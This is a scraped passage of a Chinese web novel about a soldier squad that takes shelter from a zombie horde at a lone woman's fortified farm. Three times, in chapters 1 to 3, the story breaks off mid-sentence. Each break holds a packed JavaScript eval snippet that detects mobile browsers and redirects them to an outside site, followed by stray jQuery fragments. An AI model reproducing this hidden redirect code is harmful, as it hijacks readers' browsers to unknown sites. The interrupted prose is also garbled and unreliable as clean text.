《丧尸?烧了沤肥》
1. 第 1 章
“不是说完成任务就返回保护区的吗?”
瘦小的女孩紧紧跟在一个年轻男人身侧,一双动物般带着警惕的眼睛始终观察着周围的状况,甚至连呼吸都不自觉放轻,说话时也刻意压低了嗓音,避免被小队其他人听见。
而她依附的男人在小队中算得上瘦小,大概一七五的身高,胳膊并没有什么肌肉,肤色也偏白,身上的作战服宽宽松松的并不合身,模样也偏斯文秀气,——太过年轻稚嫩的面孔在这个小队中显得格格不入。
狼群之中,弱者是被保护在中间位置的。
无论是领路还是压后,都不需要他们兄妹。
西池看了看前方高大的身影,抿着唇斟酌半晌安抚妹妹:“没事,你的任务已经完成,我会送你回保护区的。”
其余更多的他也不能跟妹妹说了。
两人继续跟着队伍的步伐,边走边清理周围丧尸。
他们已经走了三天。
十五年前一场地震意外导致某病毒研究所坍塌,病毒泄漏,全球感染。
仅针对人类的丧尸病毒让近乎一半的人类变成行尸走肉,直到及时采取措施的城市建立了“保护区”,提供庇护所,构建新的规则秩序,保留人类火种。
随着越来越多的实验进行,证实了丧尸病毒仅靠血液跟唾液传播,——别被咬被抓就行,而另一个现实就是:所有人类都感染了病毒,一旦死亡就会转化,快速腐烂、对人类鲜血渴望突增、食欲大开,全身上下仅剩大脑中某一部分能完整运行,而这一部分也重写了这个“人”的欲/望。
一开始的恐慌过后,人类快速找到了杀死丧尸的方法:毁灭大脑或脊椎,终止神经传递。
保护区制定一系列规则,致力于消灭所有丧尸,重新夺回人类的地盘,因此扩张军队派遣小队定期清理丧尸。
西池跟妹妹西芹自小就生活在保护区内,彼时那座城市名字是“兰城”,而现在西池对于兰城的记忆已经变得模糊,因为他还没来得及长大就被迫适应新的规则。
西池上个月刚成年就被选入军队,也算是拿到了铁饭碗,生活稳定,工资充裕,军队里除了死亡率高也没什么其他缺点。但根据保护区的规则,十六岁以上无论男女每个月需杀死十只丧尸换取保护区内生活资格,另外保护区内实行积分制度,一个丧尸换取一个积分,可用于兑换生活用品,比如营养液,或是支付房租等等。
他唯一的亲人妹妹西芹刚满十六岁,懵懂无知,对未来的一切都充满恐慌。
于是他选择带着她随队出任务,想着这次毕竟是军方经验丰富的指挥官带队,安全肯定有保障。
过去三天内,他也成功让妹妹拿到十个积分。
野外环境复杂,随着时间推移,西池也逐渐焦虑起来。
他打算等下一次休整时间跟队长聊一聊,看能不能让他先把妹妹送过去再继续跟队完成任务。
六人小队缓缓前行着。
为首的是一个个子很高跟西池差不多的女人,扎着利落的马尾,一身灰色作战服包裹全身,装备齐全,姿态紧绷注意着周围情况。她身后是小队副队长秦丰,同样的灰色作战服在他身上就显得局促起来,勒出极其明显的肌肉轮廓,近乎一米九的个子,整个人壮硕如牛,袖子也卷到手肘,皮肤是那种长期在阳光下活动后的黑亮,几乎跟作战服融为一体,粗眉大眼,寸头,目光时不时往后瞥,每次往后看都会让西池神经紧绷呼吸一滞,立马开始检讨自己有没有哪里出错。
而在秦丰之后、西池兄妹之前是另一个小队成员孙金,他体型中规中矩,姿态散漫挎着枪,经常眯起一双小眼看人,脸上总带着笑,却令人觉得不怀好意。
西池总觉得副队回头是在看他,而实际上秦丰看的是孙金。
丛林中传来窸窸窣窣的动静,秦丰再次回头,对着孙金做了个“去处理”的手势。
孙金不耐烦地撇撇嘴,朝那个方向走去,经过那对兄妹时却不小心撞了西芹一下,把原本就对陌生环境充满恐惧的西芹撞得差点尖叫。
她及时忍住了。
哥哥说过野外生存第一规则:禁止大声喊叫以免引来丧尸。
孙金朝她嘿嘿一笑,无声说了句“不好意思”才继续前行。
野外丧尸比较少,并不像小镇或者城市中那样密集,刁钻在于防不胜防,一个不注意就容易被偷袭。
以小队成员的身体素质,小部分丧尸基本没问题,用刀安安静静处理就行,除非出现意外情况才可能拔枪。
枪声会引来丧尸。
这群行尸走肉身体不断腐烂,唯独运转的那丁点大脑功能处理信息,对于高温、声音会主动靠近,一旦集群,普通人很难脱身。
小队原地休整,补充营养液恢复体力。
干巴巴的营养液基本上没什么味道,喝惯了的人仰头一口就能解决,足够维持至少六小时的活动。
唯独末尾的队长依旧站立着,观察四周情况。
西池看他似乎很忙碌的样子,一时不敢上前打扰。
毕竟这位给他的感觉……并不友善。
他刚加入军队不久,对内部也不算了解,这年头新兵也不会有和平年代那样训练的机会,往往发一个“野外生存”的小册子让他们自己研究一晚第二天就得随队出任务,不过任务也是根据个人能力评估来分配的,所以西池很自然地以为这一次任务不会特别复杂。
纠结半天,西池拍拍妹妹胳膊让她放松,然后起身朝队长走去。
每位探险小队队长都在军中担任要职,整个小队其他成员都对他毕恭毕敬,西池受周围人感染,自然也对这人产生了畏惧。
他只知道副队秦丰叫他赵队,偶尔叫老赵,并不知晓这人名字。
走近之后,赵队目光落到他身上,西池几乎是下意识地头皮发紧,磕磕巴巴问好然后叙述来意。
等他说到觉得口干舌燥的时候,男人有了回应。
他低头看了看手表,“天黑之前到达目标地点,明天你就可以离开,但是……”
西池刚松了口气就被他突然的停顿提起心来。
“你确定你能单独带着她回保护区?”
西池心凉了一半。
“您的意思是,我必须要等任务完成随队回去?”
“这是你的选择。”
西池也明白了。
小队没有义务保护他跟妹妹临时中止任务回保护区,如果他想提前回去可以独自行动。
显然,以他的能力并不足够单独带妹妹回去。
西池开始后悔自己先前的抉择。
早知道……
可是现在后悔也晚了。
西池低着头眉头紧锁,回去跟妹妹说明情况,最终两人都决定跟着小队完成任务一起回去,毕竟这才是最保险的。
而这中途妹妹还能多杀几个丧尸攒攒积分,回到保护区也能更好生活。
下了决定,似乎也没那么害怕了。
休整半小时,孙金也重新回到队伍。
只是这一次他裤腿上蹭了不少血跟内脏组织,一身恶臭,手里的那把匕首也往下滴着黑血,但看状态并未受伤。
“一共五个丧尸正在往东走。”他说。
如果处于一个没有人类、安静的环境当中,丧尸会漫无目的地游走,饥饿过度也会寻找其他动物进食,而这种有目的性的朝着某个方向行动,要么是因为那个方向声音吸引了它们,要么就是尸潮。
零零散散分布的游荡丧尸因缘巧合汇聚在一起,进而形成越来越大的规模,最终会朝着某个不确定的方向一同行进,这过程中也会吸引途中游走的丧尸。
孙金的话令他们思索起来。
小队一直往东走,如果继续前行很可能遇上尸潮,尸潮往往规模巨大,成千上万的丧尸组织成墙,他们现在这个五带一的队伍一旦成为尸潮的目标几乎没有生还的可能。
目前最好的选择是绕路,或者干脆折返。
时间一分一秒过去,白天很快就会过去,黑夜只会更危险。
几人看向队长。
赵弋并不是话多的人,相反的,他话极少,常常沉默缀在队尾默默解决掉沿途的丧尸,穿着同样的灰色作战服全身几乎没有裸露的皮肤,个子很高,比秦丰要高几公分,身型不如秦丰那样肌肉贲张,但看得出来身体素质极高,他身上带的装备是最多的,平时更喜欢拉起面罩遮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622810|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住鼻梁以下,露出一双凌厉的眼睛。
他是典型的眉压眼长相,看人不自觉会多几分压迫感。
西池看大家都沉默,不知道哪来的勇气出声:“我觉得……”
孙金却在此时吊儿郎当开口:“绕路吧,咱们总不可能什么都没干就打道回府吧?”
“先向南,补充水源。”赵弋说。
意思很明确,绕路,任务继续。
西池偷偷失落叹了口气,让妹妹跟好自己,继续跟着队伍走。
每个人手里都有地图,但地图也不是完整的。
保护区在之前地图的基础上添加了一部分备注,比如丧尸聚集区之类,只能做参考,毕竟丧尸不是静止不动的。而且他们所处的这座山比起城市地图肯定没那么清晰,他们原本是绕着山脚前往一个城镇,预计会在天黑前到达,但现在出现了明显的尸潮,很大可能他们的目的地正是尸潮汇集的地方,——西池这么想着心中忧虑更甚。
行至傍晚,终于到达平地,周围植被也变得矮小,不像深山中有各种高大虬结的树木。
由于这片区域已经被人类放弃十五年,植物肆意生长,因此道路也并不明显。
天快黑了,他们寻找安全的地方休息。
秦丰边走边嘀咕了一句:“怎么感觉这附近丧尸变少了……”
在越过一片大概是田野杂草丛生的土地之后,一行人发现了铁丝网。
两米高的铁丝网锈迹斑斑,沾染了血迹还挂着不少晒成干的人体组织,有人为修补的痕迹,而且使用的铁丝比较新。
这周围有人类活动。
副队秦丰拿望远镜站在高处看了看。
“铁丝网内有围墙,还有房屋,没有光亮。等等……那是菜园子?”
秦丰揉了揉眼睛,再次确认自己没看错。
那的确是一片片规整的菜园,因为他看见小白菜了。
孙金:“那挺好,咱们正好进去住几天,这里离任务地点也近。”
在野外休息肯定比不上铁丝网院墙保护的房屋安全。
孙金言外之意是,他们完全可以占领这个地方。
闻言秦丰看了眼队长赵弋。
“沿着铁丝网寻找入口,不要破坏。”
队长发话,孙金也没办法说什么。
于是继续沿着铁丝网终于找到铁门入口,自然是有锁,他们一个个爬门翻过去,再朝着院墙大门行走。
院墙也是铁门,上了锁。
秦丰:“要不……敲个门?”
队伍一阵沉默。
应该是觉得他这个冷笑话不好笑吧。
正在秦丰主动上前打算敲门的时候,一阵某种活物挣扎动静响起。
几乎所有人都立刻拿起了武器。
突然,一个快速移动的物体从他们右侧院墙上跳了下来,秦丰根本没来得及反应身后的背包就被它拽住,那力道把他一个二百多斤的壮汉一下子给拽到地上摔了个狗吃屎,烟尘四起他也没看清偷袭他的是个什么玩意,几乎是同时周围一片“咔哒”子弹上膛声响起。
呼吸都被拧成一线。
黑暗之中,一道黑色枪管抵在队伍后方覆面男人后脑,银色的机匣闪着金属的光泽,修长的霰/弹枪由一个女孩单手紧握,而她另一手上的匕首已经卡在西芹的咽喉把她整个人都拽到自己身前充当肉盾。
正准备去拉秦丰的小队成员叶枝蔚察觉到什么,一扭头就看清了抵着自家队长后脑勺的□□s686后整个人都淡定了。
这枪一枪一个大脑开花,而且这个距离基本没救呢,不对,真的开枪说不定他们这些离得近的也跟着遭殃。
倒在地上的秦丰也看到了。
他很识相地举起双手,诚恳道:“我们是良民。”
孙金跟西池也配合地放下武器举起双手。
女孩身侧一条通身漆黑的大狗死死盯着他们,另一条虎斑犬叼着秦丰沉重的背包拖到自己主人脚边,献殷勤似的汪汪了两声,狂摇尾巴。
剑拔弩张的氛围暂时缓解。
“借宿?”来人问。
清脆又淡定的女声。
她枪下的男人:“借宿。”
2. 第 2 章
末世之中,某种程度上说这个世界已经成为了角斗场。
为生存、为资源而争夺抢掠已经是常态。
荒郊野岭突然出现人类活动迹象,而且是这么大一片严密铁丝网保护的区域,内里甚至有水泥墙跟哨塔,堪称保卫森严。
但层层防护之中,规划整齐的菜地、周围果树、牲畜围栏又给人一种末世中少见的平和与安宁。
保护区对所有人类都保持和平的“招揽”态度,非必要情况不会杀人,并且宣扬人类要团结一致清理丧尸重新回归从前的和平。因此在见到这个农场之后整个队伍都默契地抱着求和的态度。
甚至适当地放低姿态也很正常。
当然,被当成人质的西芹确实更害怕了,进了院子也依旧脸色惨白,甚至不敢跟农场主人对视,缩在哥哥身边。
“一楼客厅你们随意,有洗手间也有厨房,蔬菜随意去院子里摘,其余鸡鸭鱼肉你们可以考虑资源置换。”时枌对他们说。
刚刚进屋经过简单的交流,他们知道这个农场是她的地盘,并且商议过后,她能暂时提供住处供他们躲避尸潮以及完成任务,今天擅自闯入的代价是三把枪以及一把工兵铲。
队长答应了。
这座屋子是两层楼房,一楼客厅空间很大,还有一个厨房,桌上点着油灯,看来是没有电,但秦丰去厨房拧开水龙头发现有水。
这比他们之前荒野求生的生活条件已经好很多了。
天彻底黑下来,一群人在拆睡袋打地铺,秦丰跟队长在厨房汇报工作。
他们这次小队任务是去前方城镇寻找资源,比如枪械、药品、食物等等,另外一个任务是观察尸潮规律,任务周期一个月。
最终商议下来,他们会暂时在这里,明天一早组队双人行动去前方城镇打探情况。
“时枌有可能收留我们一个月的时间吗?”秦丰不由疑惑起来。
这年头可没那么多圣母心。
“让叶枝蔚去跟她谈。”赵弋说。
同性别更好沟通,如果让孙金上去保不准会出什么乱。
“行,等她洗完澡我跟她说一声。”聊完任务秦丰也放松许多,就着厨房的窗户往外看,月色下一片片油绿的蔬菜,馋得他口水疯狂流窜。
保护区内资源紧张,普通人都是用营养液维持生命,少部分高级官员才有机会吃的上正常的蔬菜跟肉,秦丰也有很多年没吃过正常的菜了,现在看见菜地记忆中的香味自发地占据大脑,像小蚂蚁在心里啃噬一样痒痒。
“时枌说后院蔬菜可以随便拿,我……”他盯着那片小白菜嘶溜一下。
“随便。”
“好的队长!”秦丰直接翻窗出去了。
另一边刚洗完澡的叶枝蔚跟守在门口的西芹换班。
叶枝蔚:“只有冷水。”
“没、没事。”西芹面对他们还是有些紧张,但对同为女性的叶枝蔚已经算很放松了。
她们两人约好互相帮忙守门。
毕竟这个空间内男人太多。
有时候尽管没有动作,性别差异带来的冒犯感以及威胁依旧存在,尤其是西芹这样没有自保能力的女孩,面对陌生的男人陌生的环境很难生存,叶枝蔚才选择多照顾她一些。
西芹刚进去,叶枝蔚就看见秦丰抱着一堆还带着泥的小白菜一脸谄媚朝自己跑过来,一双狗狗眼朝她眨巴眨巴:“我给你摘了点,一会儿我生火给你炒小白菜吃!”
叶枝蔚:“……”
她并不觉得炒小白菜是什么值得这么兴奋的东西。
“你会做饭?”
秦丰骄傲挑了下眉毛:“当然,丧尸爆发之前我家在兰城开早餐店,从小我就在店里打工挣零花钱。”
叶枝蔚确实知道他家开店,但没想到他也会做饭。
秦丰拉着她去厨房要给她秀一手。
还好厨房跟洗手间离得不远,叶枝蔚站门口还是能帮西芹看门的。
厨房柜子里还有面粉,只是颜色没有秦丰记忆中那么雪白,甚至调味料也很全,但秦丰不清楚能不能用。
叶枝蔚:“你帮忙盯着点,我去楼上问问她。”
这个“她”自然是指这个小院主人,时枌。
正准备上去问,就看见女孩从楼梯上走下来。
她身后跟着那条黑犬,紧紧贴着她的小腿,眼神警惕的看着他们所有人,尾巴也没有翘起,竖起耳朵一副随时等待主人命令的架势。
另一条似乎是去后院了,两条狗训练有素,鲜少吠叫。
时枌摸摸黑犬脑袋,随后看向厨房的两人。
明明他们有六个人,她还是一个女孩子,面对他们却丝毫不惧,反而秦丰看见她有种在别人家做客的局促感,手里攥着的小白菜都成了犯罪证据。
“你们队长呢?”女孩问他们。
“去检查铁丝网了。”叶枝蔚接过话头,主动跟人搭话,“我们打算做饭,看见这边有面粉,想问问能不能用。”
“哦,可以,厨房的东西随便用。”
眼前这个女孩似乎年纪不大,圆脸还有几分可爱,一双杏眼清澈见底,个子比叶枝蔚要矮一些,但比西芹要高,看她刚刚一手挟持西芹一手拿枪威胁他们队长的架势就知道这个农场主人并不是软弱可欺的角色。
小队成员对她都有几分敬佩跟警惕。
“我们来自保护区,我叫叶枝蔚,是来执行任务的,周期大概一个月,我们队长希望您能让我们住下,相应的,我们也会跟您资源置换。”叶枝蔚微笑着说。
只是她说这话时,坐在睡袋上的孙金明显抬头看了她的方向嗤了一声,不大不小,正好都能听见。
秦丰当即皱起眉头。
时枌微微侧头看了地上的男人一眼,没说什么,朝叶枝蔚同样回以微笑,但她身边的黑犬似乎感应到那人不屑的态度,朝着他的方向龇牙低吼。
孙金也笑了,吊儿郎当地举起双手做了个投降的手势,继续收拾他的装备。
铺满一小块地方的枪械装备。
时枌当然看见了,目光在那些东西上停留几秒才收回,对叶枝蔚说:“可以,一切都好商量,只是我的地盘,希望你们能遵守我的规矩。”
“当然,我们会配合。”
“如果你们不介意,也可以帮我干活来换食物。”
“可以吗?”叶枝蔚有些惊讶。
“当然。”
这个小院主人看着还挺好说话,在得知秦丰打算用小白菜下面条后还问了句能不能给她也下一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622811|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
碗,秦丰忙不迭答应。
事情确定,时枌摸摸黑犬脑袋,安抚一句“大熊乖”就上楼了。
而等时枌离开,叶枝蔚看见西芹已经洗完澡出来,孙金听见动静立刻扭头眼睛跟黏人家身上似的,她冷着脸上前一脚踹在人肩膀,把孙金踹得龇牙咧嘴倒吸一口冷气。
“管好你的眼睛。”
孙金咬咬牙,钻进睡袋没说话。
西池看见这一切,进去洗澡时对叶枝蔚说了声谢谢,西芹也没那么害怕了,在角落里铺自己的床。
***
相比一楼的空旷,二楼就显得区域分明。
小客厅,两间房还有一个洗手间,时枌的房间在右手边,空间挺大,窗旁放置着一张桌子,桌上摊着不少东西,进屋后她还是锁了门,并在枕头下放了把手枪,又把今天用过的那把伯/莱塔银鸽s686挂在墙上。
那面墙上同样放置了不少枪,各种型号都有,甚至有一把雷/明顿700,靠墙还跟煤炭似的垒着子弹,宛如一个小型军火库。
这小院是爷爷奶奶留给她的,漫长的时间中当然也有不少造访者,对于楼下那群人时枌已经见怪不怪,但该有的警惕一点都不会少。
毕竟人心隔肚皮。
大熊始终陪在她身边,她的房间里有大熊的窝,时枌想起楼下柴房旁的虎子,从窗户探身出去,吹了声口哨。
这一声没叫来虎子,倒是跟刚巡视完回来的男人对上了眼。
月亮隐在云后,沉沉夜色之中一楼昏黄的灯光透出窗户提供了唯一的光源,他身上依旧全副武装,挎着枪,宛如一件从夜色中走出的人形兵器,黑沉沉地折射着金属光泽。
而此时这件人形兵器正抬头看着他,一双墨黑的眼眸显露无疑。
时枌:“……”
多多少少还有有点尴尬的。
她真不是在耍流氓。
好在虎子听见声音哒哒跑到窗户下仰头朝她低声叫了两声,那个男人应该也知道她不是在叫他,低头往大门走。
时枌看虎子乖乖在家,下命令“回窝”,虎子乖乖进自己狗窝去了。
虎子是爷爷奶奶养的狗的后代,大熊是她外出捡到的,正好一公一母,前段时间刚生了一窝小狗,足足四只小奶狗,今天院子里来了外人大熊担心她才没有回去看护小狗们,好在虎子很有责任心,一回家就去小狗旁边呆着。
熬过冬天,天气渐渐转暖,虎子跟大熊冬天两条狗都住在家里,至少家里有暖炉,结果屋外的狗窝就被大雪压垮了,开春之后时枌一直忙着翻地、播种、打理院子,狗窝也没时间修。
她打算明天用一顿饭换楼下那群人帮她修个新狗窝,——当然还有小狗们的新窝。
没一会儿叶枝蔚敲门给她送来了面条,大熊看着她,时枌就拿出肉干给她当零嘴,一人一狗吃的很香。
只是偶尔从窗户望向东方,一片黑漆漆,她隐隐知晓他们小队任务目标是什么,心里浮起一种莫名的忧虑。
但她与楼下一群人并不熟悉,可打听他们任务细节难免引来猜忌,于是只能暂时压下,等待之后如果有好时机或者他们彻底离开再说。
今晚总归是很难睡安稳,大熊守在门口给了她安全感,后半夜好歹是睡着了。
3. 第 3 章
第二天是个好天气。
阳光明媚,云层疏离,清晨的薄雾很快就消散,整个小院也完整显现出来。
院子围墙外、铁丝网内有东南西北四个哨塔,混凝土钢筋结构,很结实,征得主人同意之后秦丰跟着队长上每个哨塔观察了一圈。
站在高处底下一切一览无余。
整个院子区域分明,围墙内用青砖铺路,以两层楼房为中心,屋前以及左右大部分地区都划分了规整的菜地种满了各种各样的蔬菜,间隔会有几棵果树,以秦丰贫瘠的知识大概能认出来桃树橘子树之类的普通常见果树。屋后则是养了不少牲畜,这些秦丰都能认出来,边看边咽口水。
而院墙之外、铁丝网之内显然是后被开发的区域,只开垦出了两块菜地,两片种了其他果树,其余还是杂草丛生。
秦丰拿望远镜看猪圈里的猪,一边控制口水一边数,“我的妈呀……八、九、十……十二头猪!”
甚至还有一窝小猪仔。
丧尸爆发,兰城成为保护区之后他就没吃过大口的新鲜猪肉了,最多也就是升职的时候吃过一盘几乎全部是青椒的青椒肉丝,还是盖饭。
“她一个人能吃得完吗?我看那边鸡栏里面有不少走地鸡……还有兔子?这小姑娘还挺有爱心。”
原本拿着望远镜观察周围情况的赵弋听见他这一句“有爱心”都放下望远镜看了他一眼。
他不太能理解。
昨晚上精准判断他们队内形势,威胁西芹拿捏她哥的同时枪指他这个小队队长,这样的人,他的副队竟然觉得她有爱心?
秦丰注意力还在那群走地鸡身上,一边跟队长闲聊:“诶,我说你昨晚上真没注意到吗?被一个小姑娘拿枪顶脑门威胁,啧啧,我回保护区当笑话讲给他们听估计都不会信。”
赵弋没回应,继续拿着望远镜看东方。
这次的任务是随机组队,难度不高,队伍当中秦丰跟赵弋是朋友,此前也一同出过不少次任务,两人配合默契,其余的人,叶枝蔚是秦丰带来的,孙金是缺人随便分配进来的,西池……很明显是让他们这群老油条带新人塞进来的,至于那个西芹,就当是塞一送一吧。
保护区从军是对亲属有一定帮扶的,比如带着出任务刷积分之类的,这很常见,所以西池带妹妹来他们并没有什么意见。
“我咋看见西边铁丝网有个大坑?乌漆嘛黑的,养着什么玩意呢?要不我去看看?”秦丰伸长脖子努力往前倾,试图靠这个动作缩短距离。
“不用。”他昨晚已经去看过了。
他们还没吃早饭,他不会想这时候去看那玩意的。
“哦对,快八点了,我得去做饭了。”秦丰很有自觉收拾好东西,一边嘀咕:“老子长这么大第二回看见这么齐全的厨房,老赵你等着我给你做顿满汉全席……”
赵弋:“……”
满汉全席。
全素的么?
两人回到住处,此时其他人也差不多醒了,叶枝蔚正在跟时枌说着什么,她们身边还站着西芹跟西池。
他们在询问时枌能否让西芹住楼上。
时枌:“可以是可以,那这一个月她归我,帮我干活。”
西池:“可以,她什么都可以学。”
“也不是什么很难的活儿,帮我打理院子而已。”
西池松了口气。
立马开始搬东西上楼,时枌将西芹安排在二楼客厅沙发上,并且叮嘱她除了洗手间其他地方不要随便进,西芹乖乖点头,甚至有点不敢看她,——被她昨晚上吓得。
多了个劳动力,时枌带着西芹去菜地交代事情。
小队成员一早上趁着秦丰做早饭的时间开了个小会。
两两分组,赵弋和孙金,秦丰和叶枝蔚,至于西池属于新人,由他们两组轮流带。
今天吃过早饭赵弋跟孙金就会带着西池出去一趟,预计后天回来。
吃早饭时,秦丰提议:“我看时枌应该也需要一些物资,要不我们跟她谈一谈,你们去阳县也能顺便带回来,好歹换点肉吃啊。”
其他队员都表示同意。
看着成群的肉在面前没法吃,真的很难熬啊。
以前只有营养液,干巴巴没味道,饱腹感也几乎没有,只能说是维持生命体征,他们平时野外出任务也偶尔会狩猎一些野兽,就地取材充饥,不过也大多是一些野兔或者鸟啊蛇什么的,运气好掏几个鸟蛋都能乐半天。
现在住在这里,时枌一早上还叮嘱秦丰给她碗里卧了两个蛋,他们干巴巴的青菜下面条喝点鸡蛋味的汤,这会儿还抓心挠肝的不得劲。
出发前找时枌商议,得知他们要去阳县时枌也并没说什么,最后她给他们列了个清单,以上物资都可以跟她交换。
赵弋扫了一遍。
除了枪械子弹,还有一部分杀虫药杀菌药,估计得去农资店才能拿到,当然也有一些常用药品,另外零零散散的物件比如防风打火机什么的。
秦丰郑重拍了拍自家队长的肩膀,“一个防风打火机换六个鸡蛋,老赵!你得加把劲啊!咱们队的伙食可全靠你了!”
赵弋:“……”
孙金也嘿嘿笑,不知道是故意还是开玩笑地开口:“她一个小姑娘,你们还当真啊?”
秦丰:“不管怎么样这是人家的地盘。”
叶枝蔚:“我赞同,时枌同意让我们住下已经很好了,物资交换现在很常见,天下没有免费的午餐。”
西池:“我也这么觉得。”
孙金看了他们一圈,注意到队长淡漠的眼神后配合笑笑,没再继续说。
三人出发,留下秦丰去厨房洗碗,叶枝蔚出去找时枌跟西芹看能不能帮什么忙。
很快就在后院找到她们。
后院靠西光照一般,时枌在这块地方盖了塑料膜做暖棚,去年秋天种下了一小块地的生姜,生姜喜阴喜肥怕涝,经过一个冬天的生长已经可以收获。
时枌已经吃完面条,碗放在地上正在给西芹安排任务,西芹吃得慢,端着碗一边吃一边听,时不时点头表示自己明白。
“今天你的任务就是把塑料膜拆下来,竹条收拾好,要简单清洗整理好,那边有水管,”时枌指了指一旁的水池,“然后把这块地的姜都挖出来,清洗干净,至于怎么挖一会儿我来教你。”
西芹出生后一年丧尸病毒就爆发了,她从出生开始就生活在保护区,几乎从小喝营养液到大,在保护区跟着妈妈学了一些缝纫技
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622812|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
术,妈妈去世后她也靠着缝补衣服挣积分维持生活,对于农活可以说一窍不通。
安排完西芹,时枌又看向叶枝蔚。
“你会做手工么?大熊跟虎子的狗窝需要重新修一下,还有一群小狗……”
她对这两人还有会做饭的秦丰印象不错,西芹明显是个没什么威胁的小姑娘,甚至还需要人保护,叶枝蔚呢,她觉得她是个正常人,会遵守丧尸爆发前的道德准则,属于可以交流合作的一类。至于秦丰,看起来还算老实,厨艺也不错,可以容忍。
今天外出的那三个是时枌最警惕的三人。
首先西池,她昨晚挟持了他妹妹,保不准人家就记恨上她了,总归是要多一分心眼,那个叫孙金的看着就不像什么好人,仅凭直觉她就把这人排除在外。
至于那个队长赵弋,他话很少,她不了解,但就凭她昨晚枪抵人家脑门上,在队员面前折损他队长的威风,估计对她也谈不上友好吧。
今天他们三人一起出去,说实话,时枌是松了口气的。
她昨晚都想过,这群人要是表露出一点杀了她占领这个农场的心思,她会提前下手把他们拖去沤肥。
可惜一早上吃了人家的鸡蛋面,杀心起了又落,暂时平息,时枌决定先观察再说。
叶枝蔚动手能力不错,她小院靠着房屋后有一个工具房,里面收集了各种各样的工具,空间也很大,靠墙堆放着整齐的木柴,一张巨大的桌子放置在在中央方便干活。
叶枝蔚选了合适的木头,发现这里还有油漆后都忍不住感慨:真齐全啊。
她父母从前是做家具的,她从小耳濡目染也会一些木工,她小时候也养过狗狗,做狗窝对她来说不算什么难事。
锯好木头后,叶枝蔚就拿到狗窝旁边开始搭建。
先清理好狗窝内部。
里面还有小棉被,看尺寸应该是特地给狗狗缝制的,简单的木屋并不经用,叶枝蔚询问时枌后裁剪了油布打算盖在狗窝上。
总共两个大狗窝,一个围栏里面有四条小奶狗。
秦丰很快就找过来,帮着叶枝蔚一起干,而时枌刚刚去挤了羊奶,正在喂小狗们。
秦丰看着呜呜呜叫的小狗埋头喝奶两只脚都踩到奶盆里可给他心疼坏了。
他从来没喝过羊奶。
“他们三个不在,你们今天帮我干一天活,食材我出。”时枌说,“会做姜烧兔肉吗?”
秦丰瞬间想起自己之前对时枌“有爱心”的评价,沉默几秒后才反应过来点头。
“我看你厨房有花椒干辣椒,生姜也有吗?”
“西芹在挖,你要是嫌她慢就去帮忙。”叶枝蔚说。
“那食材够了。”毕竟这年头他也不能奢望时枌厨房里还有豆瓣酱。
“一只兔子我们四个人吃,不够的话,再加一人一个煎荷包蛋,柜子里有米,再炒个青菜,差不多了。”
时枌在报菜名,秦丰听着口水都往下淌,被叶枝蔚嫌弃地推搡一把,远离他。
“行行行,我一会儿差不多十一点就去备菜。”
“兔子我去杀,我要留着兔皮过冬。”她怕他手艺不好破坏兔皮。
她打算今年冬天做一套兔皮手套围脖,好过冬。
4. 第 4 章
西芹比她预料中能干,一个上午就清洗好了塑料膜跟竹条,放置在院子侧面水泥地上晒干,时枌教她挖生姜时秦丰也在,正好把不小心挖断或者伤口太大的生姜拿去清洗备菜。
挖生姜跟挖土豆一样,顺着主干估摸着往下挖,尽量仔细一些,完整的生姜更利于保存。
秦丰也找到了大蒜小葱,顺手掐了两把,新鲜的小葱嫩的一把就能掐出水来,满手都是香味。
看这利落的动作以前应该经常下厨。
时枌看他们都在忙活,去工具房旁边的柴屋装了半盆玉米半盆稻谷,又把昨天秦丰摘菜剩下的菜叶子拿去喂鸡鸭鹅。
冬天种的萝卜也已经长好,时枌去菜地逛了一圈,把几棵长出地大半截的白萝卜给拔了,长得丑的随便用砍刀剁碎喂鸡鸭鹅。
留了三个白白胖胖的萝卜。
现成的厨子不用白不用。
她晚饭想吃萝卜鲫鱼汤。
萝卜她出了,至于鲫鱼就得靠他们自己努力,——步行半小时有个池塘。
这地方荒了十五年,没有人类的打扰,池塘里的鱼已经可以称得上“泛滥成灾”了。
一圈牲畜喂下来时枌面色如常,忙活一上午气都不带喘的,还能继续在菜园子里闲逛,看那些不支棱长得不好的菜就通通扯掉当饲料。
这是她的日常生活。
打理整个农场。
菜地跟牲畜足够她一整天不停歇,只有想偷懒的时候才会觉得没活干,铁丝网内随便逛一圈都能有新发现。
